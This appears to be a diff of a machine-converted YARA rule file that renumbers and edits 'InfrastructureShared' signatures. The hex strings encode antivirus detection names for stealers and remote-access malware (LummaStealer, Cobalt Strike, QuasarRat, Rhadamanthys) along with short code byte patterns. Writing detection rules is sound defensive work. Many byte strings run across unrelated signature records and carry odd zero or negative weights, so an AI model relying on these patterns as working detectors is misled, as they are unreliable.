rule _InfrastructureShared_4940{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4941{ +rule _InfrastructureShared_5151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -51095,7 +53258,7 @@ rule _InfrastructureShared_4941{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4942{ +rule _InfrastructureShared_5152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -51105,7 +53268,7 @@ rule _InfrastructureShared_4942{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4943{ +rule _InfrastructureShared_5153{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -51115,7 +53278,7 @@ rule _InfrastructureShared_4943{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4944{ +rule _InfrastructureShared_5154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -51125,7 +53288,7 @@ rule _InfrastructureShared_4944{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_4945{ +rule _InfrastructureShared_5155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -51135,7 +53298,17 @@ rule _InfrastructureShared_4945{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_4946{ +rule _InfrastructureShared_5156{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 43 4d 21 4d 54 42 00 01 00 2a 01 48 c7 44 24 30 00 00 00 00 c7 44 24 28 80 00 00 00 c7 44 24 20 03 00 00 00 48 89 f9 ba 00 00 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_5157{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -51145,7 +53318,7 @@ rule _InfrastructureShared_4946{ ((#a_72_0 & 1)*22051) >=1 } -rule _InfrastructureShared_4947{ +rule _InfrastructureShared_5158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -51155,7 +53328,7 @@ rule _InfrastructureShared_4947{ ((#a_72_0 & 1)*22051) >=1 } -rule _InfrastructureShared_4948{ +rule _InfrastructureShared_5159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -51165,7 +53338,7 @@ rule _InfrastructureShared_4948{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_4949{ +rule _InfrastructureShared_5160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -51175,7 +53348,7 @@ rule _InfrastructureShared_4949{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_4950{ +rule _InfrastructureShared_5161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -51186,7 +53359,7 @@ rule _InfrastructureShared_4950{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*27749) >=1 } -rule _InfrastructureShared_4951{ +rule _InfrastructureShared_5162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -51196,7 +53369,7 @@ rule _InfrastructureShared_4951{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4952{ +rule _InfrastructureShared_5163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -51206,7 +53379,7 @@ rule _InfrastructureShared_4952{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4953{ +rule _InfrastructureShared_5164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -51216,7 +53389,7 @@ rule _InfrastructureShared_4953{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4954{ +rule _InfrastructureShared_5165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -51227,7 +53400,7 @@ rule _InfrastructureShared_4954{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=1 } -rule _InfrastructureShared_4955{ +rule _InfrastructureShared_5166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -51238,7 +53411,7 @@ rule _InfrastructureShared_4955{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=1 } -rule _InfrastructureShared_4956{ +rule _InfrastructureShared_5167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -51249,7 +53422,7 @@ rule _InfrastructureShared_4956{ ((#a_77_0 & 1)*19491+(#a_6b_1 & 1)*28493) >=1 } -rule _InfrastructureShared_4957{ +rule _InfrastructureShared_5168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -51260,7 +53433,7 @@ rule _InfrastructureShared_4957{ ((#a_4c_0 & 1)*21539+(#a_6c_1 & 1)*29287) >=1 } -rule _InfrastructureShared_4958{ +rule _InfrastructureShared_5169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -51272,40 +53445,30 @@ rule _InfrastructureShared_4958{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*28515+(#a_46_2 & 1)*16675) >=1 } -rule _InfrastructureShared_4959{ +rule _InfrastructureShared_5170{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 6f 66 75 53 74 61 74 69 6f 6e 2e 41 21 64 68 61 00 01 00 10 01 41 00 70 00 70 00 55 00 49 00 53 00 76 00 63 00 01 00 0d 01 00 77 6d 6f 6e 73 76 63 2e 64 6c 6c 00 01 00 07 01 00 4b 72 62 } //16675 $a_00_1 = {00 78 5d 00 00 01 00 01 00 03 00 21 23 41 4c 46 3a 57 69 6e 33 32 2f 4b 75 61 69 5a 69 70 2e 45 58 45 21 4d 54 42 00 01 00 13 80 01 77 61 6c 6c 70 61 70 65 72 2e 6d 75 78 69 6e 2e 66 75 6e 9c ff 0a 80 01 75 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 75 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 5d 00 00 02 00 02 00 01 00 21 23 } //24909 - $a_3a_2 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 51 75 61 73 61 72 52 61 74 2e 53 43 57 21 4d 54 42 00 02 00 2d 01 7e 18 00 00 04 28 f5 04 00 06 80 18 00 00 04 7e 08 00 00 04 28 f5 04 00 06 80 08 00 00 04 7e 09 00 00 04 28 f5 } //19521 + $a_3a_2 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 68 61 64 61 6d 61 6e 74 68 79 73 2e 43 5a 21 4d 54 42 00 02 00 2a 01 2b c1 33 d0 0f af 95 64 f5 ff ff 89 95 a0 e0 ff ff 8b 95 a0 e0 ff ff 89 95 9c e0 ff ff 8b 85 3c ea ff } //19521 condition: ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*24909+(#a_3a_2 & 1)*19521) >=1 } -rule _InfrastructureShared_4960{ +rule _InfrastructureShared_5171{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : $a_46_0 = {57 69 6e 33 32 2f 4b 75 61 69 5a 69 70 2e 45 58 45 21 4d 54 42 00 01 00 13 80 01 77 61 6c 6c 70 61 70 65 72 2e 6d 75 78 69 6e 2e 66 75 6e 9c ff 0a 80 01 75 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 75 6e 69 6e 73 74 61 6c 6c 2e } //16675 - $a_00_1 = {00 78 5d 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 51 75 61 73 61 72 52 61 74 2e 53 43 57 21 4d 54 42 00 02 00 2d 01 7e 18 00 00 04 28 f5 04 00 06 80 18 00 00 04 7e 08 00 00 04 28 f5 04 00 06 80 08 00 00 04 7e 09 00 00 04 28 f5 04 00 06 80 09 00 00 04 00 00 78 5d 00 } //30821 + $a_00_1 = {00 78 5d 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 68 61 64 61 6d 61 6e 74 68 79 73 2e 43 5a 21 4d 54 42 00 02 00 2a 01 2b c1 33 d0 0f af 95 64 f5 ff ff 89 95 a0 e0 ff ff 8b 95 a0 e0 ff ff 89 95 9c e0 ff ff 8b 85 3c ea ff ff 0f af 85 9c e0 ff ff 00 00 78 5d 00 } //30821 condition: ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30821) >=1 } -rule _InfrastructureShared_4961{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 51 75 61 73 61 72 52 61 74 2e 53 43 57 21 4d 54 42 00 02 00 2d 01 7e 18 00 00 04 28 f5 04 00 06 80 18 00 00 04 7e 08 00 00 04 28 f5 04 00 06 80 08 00 00 04 7e 09 00 00 04 28 f5 04 00 06 80 09 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=2 - -} -rule _InfrastructureShared_4962{ +rule _InfrastructureShared_5172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -51315,7 +53478,7 @@ rule _InfrastructureShared_4962{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4963{ +rule _InfrastructureShared_5173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -51325,7 +53488,37 @@ rule _InfrastructureShared_4963{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_4964{ +rule _InfrastructureShared_5174{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 61 73 6b 75 6e 2e 45 47 4e 48 21 4d 54 42 00 02 00 2f 02 11 1e 11 1e 60 90 01 05 5f 13 1e 11 1f 11 1f 60 90 01 05 5f 13 1f 07 13 29 11 29 2c 21 00 90 01 05 12 1e 90 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_5175{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 43 4c 4d 21 4d 54 42 00 02 00 29 03 45 0f b6 04 10 45 31 c1 44 88 0c 3e 48 8d 57 90 01 01 48 89 f0 48 39 d3 7e 90 01 01 4c 8b 05 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_5176{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 50 4c 4d 21 4d 54 42 00 02 00 29 03 0f b6 08 48 8b 55 90 01 01 8b 45 90 01 01 48 01 d0 44 89 ca 31 ca 88 10 83 45 fc 01 8b 45 90 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_5177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -51336,7 +53529,7 @@ rule _InfrastructureShared_4964{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25712) >=2 } -rule _InfrastructureShared_4965{ +rule _InfrastructureShared_5178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -51347,7 +53540,7 @@ rule _InfrastructureShared_4965{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*27748) >=2 } -rule _InfrastructureShared_4966{ +rule _InfrastructureShared_5179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -51357,7 +53550,7 @@ rule _InfrastructureShared_4966{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4967{ +rule _InfrastructureShared_5180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -51367,7 +53560,7 @@ rule _InfrastructureShared_4967{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4968{ +rule _InfrastructureShared_5181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -51378,7 +53571,7 @@ rule _InfrastructureShared_4968{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30162) >=2 } -rule _InfrastructureShared_4969{ +rule _InfrastructureShared_5182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -51388,7 +53581,7 @@ rule _InfrastructureShared_4969{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4970{ +rule _InfrastructureShared_5183{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -51398,7 +53591,7 @@ rule _InfrastructureShared_4970{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4971{ +rule _InfrastructureShared_5184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -51409,7 +53602,7 @@ rule _InfrastructureShared_4971{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*27764) >=2 } -rule _InfrastructureShared_4972{ +rule _InfrastructureShared_5185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -51420,7 +53613,7 @@ rule _InfrastructureShared_4972{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*27764) >=2 } -rule _InfrastructureShared_4973{ +rule _InfrastructureShared_5186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -51431,7 +53624,7 @@ rule _InfrastructureShared_4973{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*15169) >=2 } -rule _InfrastructureShared_4974{ +rule _InfrastructureShared_5187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -51442,7 +53635,7 @@ rule _InfrastructureShared_4974{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=2 } -rule _InfrastructureShared_4975{ +rule _InfrastructureShared_5188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -51453,7 +53646,7 @@ rule _InfrastructureShared_4975{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=2 } -rule _InfrastructureShared_4976{ +rule _InfrastructureShared_5189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -51464,7 +53657,7 @@ rule _InfrastructureShared_4976{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=2 } -rule _InfrastructureShared_4977{ +rule _InfrastructureShared_5190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -51475,7 +53668,7 @@ rule _InfrastructureShared_4977{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=2 } -rule _InfrastructureShared_4978{ +rule _InfrastructureShared_5191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -51486,7 +53679,7 @@ rule _InfrastructureShared_4978{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=2 } -rule _InfrastructureShared_4979{ +rule _InfrastructureShared_5192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -51497,7 +53690,7 @@ rule _InfrastructureShared_4979{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=2 } -rule _InfrastructureShared_4980{ +rule _InfrastructureShared_5193{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -51508,7 +53701,7 @@ rule _InfrastructureShared_4980{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=2 } -rule _InfrastructureShared_4981{ +rule _InfrastructureShared_5194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -51519,7 +53712,7 @@ rule _InfrastructureShared_4981{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=2 } -rule _InfrastructureShared_4982{ +rule _InfrastructureShared_5195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -51530,7 +53723,7 @@ rule _InfrastructureShared_4982{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=2 } -rule _InfrastructureShared_4983{ +rule _InfrastructureShared_5196{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -51541,7 +53734,7 @@ rule _InfrastructureShared_4983{ ((#a_77_0 & 1)*19491+(#a_31_1 & 1)*3584) >=2 } -rule _InfrastructureShared_4984{ +rule _InfrastructureShared_5197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -51552,7 +53745,7 @@ rule _InfrastructureShared_4984{ ((#a_43_0 & 1)*20515+(#a_00_1 & 1)*82) >=2 } -rule _InfrastructureShared_4985{ +rule _InfrastructureShared_5198{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -51563,7 +53756,7 @@ rule _InfrastructureShared_4985{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*-3837) >=2 } -rule _InfrastructureShared_4986{ +rule _InfrastructureShared_5199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -51574,7 +53767,7 @@ rule _InfrastructureShared_4986{ ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*-15229) >=2 } -rule _InfrastructureShared_4987{ +rule _InfrastructureShared_5200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -51586,7 +53779,7 @@ rule _InfrastructureShared_4987{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0+(#a_23_2 & 1)*3) >=2 } -rule _InfrastructureShared_4988{ +rule _InfrastructureShared_5201{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -51598,7 +53791,7 @@ rule _InfrastructureShared_4988{ ((#a_5f_0 & 1)*25635+(#a_65_1 & 1)*28517+(#a_00_2 & 1)*11579) >=2 } -rule _InfrastructureShared_4989{ +rule _InfrastructureShared_5202{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -51609,7 +53802,7 @@ rule _InfrastructureShared_4989{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*257) >=3 } -rule _InfrastructureShared_4990{ +rule _InfrastructureShared_5203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -51620,7 +53813,7 @@ rule _InfrastructureShared_4990{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=3 } -rule _InfrastructureShared_4991{ +rule _InfrastructureShared_5204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -51630,7 +53823,7 @@ rule _InfrastructureShared_4991{ ((#a_4c_0 & 1)*21539) >=3 } -rule _InfrastructureShared_4992{ +rule _InfrastructureShared_5205{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -51642,7 +53835,7 @@ rule _InfrastructureShared_4992{ ((#a_77_0 & 1)*16675+(#a_61_1 & 1)*26479+(#a_00_2 & 1)*1) >=3 } -rule _InfrastructureShared_4993{ +rule _InfrastructureShared_5206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -51654,7 +53847,7 @@ rule _InfrastructureShared_4993{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0+(#a_48_2 & 1)*8448) >=3 } -rule _InfrastructureShared_4994{ +rule _InfrastructureShared_5207{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -51666,7 +53859,7 @@ rule _InfrastructureShared_4994{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0+(#a_48_2 & 1)*8448) >=3 } -rule _InfrastructureShared_4995{ +rule _InfrastructureShared_5208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -51678,46 +53871,34 @@ rule _InfrastructureShared_4995{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0+(#a_54_2 & 1)*8448) >=3 } -rule _InfrastructureShared_4996{ +rule _InfrastructureShared_5209{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_4c_0 = {57 69 6e 33 32 3a 43 6f 69 6e 4d 69 6e 65 72 2e 4c 00 01 00 0c 01 73 63 61 6e 68 61 73 68 5f 78 31 35 01 00 0e 01 63 00 63 00 6d 00 69 00 6e 00 65 00 72 00 01 00 17 01 43 75 72 6c 5f 70 6f 6c 6c 28 25 64 20 } //21539 $a_20_1 = {64 20 6d 73 29 00 00 78 5d 00 00 03 00 03 00 06 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 } //29540 - $a_72_2 = {50 4e 2e 32 00 02 00 04 01 8b 74 38 78 02 00 04 01 8b 74 08 78 02 00 04 01 8b 74 01 78 02 00 04 01 8b 7c 01 78 02 00 04 01 8b 5c 01 78 01 00 04 01 8b 54 3a 28 00 00 78 5d 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 53 65 70 64 6f 74 2e 61 77 32 37 00 02 00 0d 80 01 64 6f 62 72 } //29793 + $a_72_2 = {50 4e 2e 32 00 02 00 04 01 8b 74 38 78 02 00 04 01 8b 74 08 78 02 00 04 01 8b 74 01 78 02 00 04 01 8b 7c 01 78 02 00 04 01 8b 5c 01 78 01 00 04 01 8b 54 3a 28 00 00 78 5d 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 42 72 6f 77 73 65 72 48 69 6a 61 63 6b 00 01 00 0b 00 66 69 72 65 66 6f 78 2e 65 78 65 01 00 0b 00 6d 6f 7a 69 6c 6c } //29793 condition: ((#a_4c_0 & 1)*21539+(#a_20_1 & 1)*29540+(#a_72_2 & 1)*29793) >=3 } -rule _InfrastructureShared_4997{ +rule _InfrastructureShared_5210{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " strings : $a_54_0 = {3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 50 4e 2e 32 00 02 00 04 01 8b 74 38 78 02 00 04 01 8b 74 08 78 02 00 04 01 8b 74 01 78 02 00 04 01 8b 7c 01 78 02 00 04 01 8b 5c 01 78 01 00 04 01 8b 54 3a 28 00 00 78 5d } //18467 - $a_00_1 = {04 00 03 00 } //0 - $a_4c_2 = {3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 53 65 70 64 6f 74 2e 61 77 32 37 00 02 00 0d 80 01 64 6f 62 72 65 70 72 6f 67 72 61 6d 79 01 00 0c 80 01 6f 70 74 69 6f 6e 61 6c 50 61 } //8993 - $a_00_3 = {08 } //25959 - $a_6f_4 = {53 65 74 75 70 00 00 78 5d 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 42 72 6f 77 73 65 72 48 69 6a 61 63 6b 00 01 00 0b 00 66 69 72 65 66 6f 78 2e 65 78 65 01 00 0b 00 6d 6f 7a 69 6c 6c 61 2e 65 78 65 } //384 - $a_00_5 = {6f 70 65 72 61 2e 65 78 65 } //1 opera.exe + $a_00_1 = {04 00 04 00 } //0 + $a_53_2 = {52 3a 42 72 6f 77 73 65 72 48 69 6a 61 63 6b 00 01 00 0b 00 66 69 72 65 66 6f 78 2e 65 78 65 01 00 0b 00 6d 6f 7a 69 6c 6c 61 2e 65 78 65 01 00 09 00 6f 70 65 72 61 2e 65 78 65 01 00 11 01 57 57 57 5f 47 65 74 57 69 } //8993 + $a_77_3 = {6e 66 6f 00 00 78 5d 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 72 73 69 6c 69 61 2e 45 41 5a 54 21 4d 54 42 00 05 00 2d 01 07 08 9a 0d 00 09 6f 4f 00 00 0a 02 6f 50 00 00 0a 28 51 00 00 0a 13 04 11 04 2c 06 00 09 13 05 2b 10 00 08 17 58 0c 08 07 8e 69 32 d3 00 00 78 5d 00 00 05 00 05 00 01 } //25710 + $a_54_4 = {4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 50 47 5a 21 4d 54 42 00 05 00 32 03 08 09 06 09 } //8448 + $a_25_5 = {20 00 01 00 00 5d d2 61 d2 9c 08 09 8f 90 01 03 01 25 47 07 09 07 8e 69 5d 91 61 d2 52 09 17 } //2449 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0+(#a_4c_2 & 1)*8993+(#a_00_3 & 1)*25959+(#a_6f_4 & 1)*384+(#a_00_5 & 1)*1) >=3 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0+(#a_53_2 & 1)*8993+(#a_77_3 & 1)*25710+(#a_54_4 & 1)*8448+(#a_25_5 & 1)*2449) >=3 } -rule _InfrastructureShared_4998{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " - - strings : - $a_46_0 = {50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 53 65 70 64 6f 74 2e 61 77 32 37 00 02 00 0d 80 01 64 6f 62 72 65 70 72 6f 67 72 61 6d 79 01 00 0c 80 01 6f 70 74 69 6f 6e 61 6c 50 61 67 65 01 00 08 80 01 44 6f 74 53 65 } //16675 - $a_00_1 = {00 78 5d 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 42 72 6f 77 73 65 72 48 69 6a 61 63 6b 00 01 00 0b 00 66 69 72 65 66 6f 78 2e 65 78 65 01 00 0b 00 6d 6f 7a 69 6c 6c 61 2e 65 78 65 01 00 09 00 6f 70 65 72 61 2e 65 78 65 01 00 11 01 57 57 57 5f 47 65 74 57 69 6e 64 6f 77 49 6e 66 6f 00 00 78 5d 00 00 05 00 05 00 01 00 21 23 41 4c } //30068 - $a_72_2 = {6a 61 6e 3a 4d 53 49 4c 2f 4d 61 72 73 69 6c 69 61 2e 45 41 5a 54 21 4d 54 42 00 05 00 2d 01 07 08 9a 0d 00 09 6f 4f 00 00 0a 02 6f 50 00 00 0a 28 51 00 00 0a 13 04 11 04 2c 06 00 09 13 05 2b 10 00 08 17 58 0c 08 07 8e 69 32 d3 00 00 78 5d 00 00 05 00 } //14918 - condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30068+(#a_72_2 & 1)*14918) >=4 - -} -rule _InfrastructureShared_4999{ +rule _InfrastructureShared_5211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -51725,12 +53906,12 @@ rule _InfrastructureShared_4999{ $a_54_0 = {3a 42 72 6f 77 73 65 72 48 69 6a 61 63 6b 00 01 00 0b 00 66 69 72 65 66 6f 78 2e 65 78 65 01 00 0b 00 6d 6f 7a 69 6c 6c 61 2e 65 78 65 01 00 09 00 6f 70 65 72 61 2e 65 78 65 01 00 11 01 57 57 57 5f 47 65 74 57 69 6e 